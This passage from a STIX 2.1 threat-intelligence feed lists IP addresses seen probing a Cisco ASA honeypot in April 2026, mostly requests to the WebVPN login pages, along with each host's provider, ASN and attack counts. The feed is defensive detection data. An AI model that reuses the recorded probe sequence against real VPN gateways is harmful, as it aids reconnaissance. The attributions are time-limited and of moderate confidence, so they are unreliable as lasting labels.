      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T02:26:25.453Z",
          "last_seen": "2026-04-13T01:29:32.061Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--b5809ec2-6aa4-4993-ab94-52fd11c3dfa0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.8.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 43,
          "first_seen": "2026-04-12T02:28:12.180Z",
          "last_seen": "2026-04-14T02:21:39.978Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--811753fa-14df-4ae3-aa58-a9f6edbb9ae5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.86.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T03:08:09.786Z",
          "last_seen": "2026-04-13T12:16:06.652Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--781dae62-c19f-4fcf-8ce8-a21d11ca6ae8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T02:28:34.545Z",
          "last_seen": "2026-04-30T00:13:05.425Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9caa27e1-7a2c-48e7-98d0-7242d1893c31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T02:54:26.003Z",
          "last_seen": "2026-04-27T20:57:28.731Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f0f75e2d-f8cb-49b1-922d-e63dbd9d6222",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.253.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-12T02:39:19.702Z",
          "last_seen": "2026-04-13T10:06:45.603Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--2b124415-fdb7-4e92-816f-93ba786aefb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.0.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T02:50:47.789Z",
          "last_seen": "2026-04-13T09:26:58.541Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--b1e7c5b0-2406-41cf-9576-987a119af418",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.121.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-12T03:17:34.937Z",
          "last_seen": "2026-04-15T06:46:39.538Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--1ecb105e-b6c9-4bda-a43d-578f47dba861",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.185.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T02:36:09.926Z",
          "last_seen": "2026-04-14T02:06:28.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--eaa10e30-d526-4d9f-9c56-b20f5287db3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.60.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T02:56:44.597Z",
          "last_seen": "2026-04-13T09:49:13.874Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d7adcc7c-2488-46e9-89db-707d83b90ea7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.228.51.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T02:31:34.889Z",
          "last_seen": "2026-04-13T09:56:11.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5cc850ed-4e5d-4304-8132-e7b8fc495df7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.139.193.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T02:40:14.830Z",
          "last_seen": "2026-04-12T02:40:27.084Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--e66375e7-797a-467f-9fdf-1ce78974e4b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T02:51:37.837Z",
          "last_seen": "2026-04-29T16:05:45.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a6828e6e-a320-4894-bbdf-cf52929b324e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-12T02:37:27.216Z",
          "last_seen": "2026-04-24T06:18:49.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--24af8db0-e65a-41cd-8c17-53f6cdfbded2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T02:36:30.390Z",
          "last_seen": "2026-04-29T22:22:14.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e4eac854-2ac3-4a86-8686-1263daf386d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T03:00:50.029Z",
          "last_seen": "2026-04-29T19:38:15.131Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f4506cc5-7766-4730-ba8a-4c00a4a885cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-12T03:13:29.107Z",
          "last_seen": "2026-04-29T19:17:17.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e2605568-f5ff-4bd8-bbc3-b7e9d059fafd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T03:16:17.620Z",
          "last_seen": "2026-04-26T03:54:22.533Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e096f852-00a0-4ef0-981b-070272c1e428",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.130.184.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-12T02:42:48.705Z",
          "last_seen": "2026-04-15T05:23:56.096Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/config.php HTTP/1.1\" 200 - geo: BR; ASN 267062 (W-NET TELLECOM EIRELI ME)",
      "id": "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.228.8.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-12T02:49:33.168Z",
          "last_seen": "2026-04-23T20:00:40.235Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 267062,
          "as_org": "W-NET TELLECOM EIRELI ME",
          "event_types": [
            "\"POST /admin/config.php HTTP/1.1\" 200 -",
            "\"GET /recordings/index.php HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
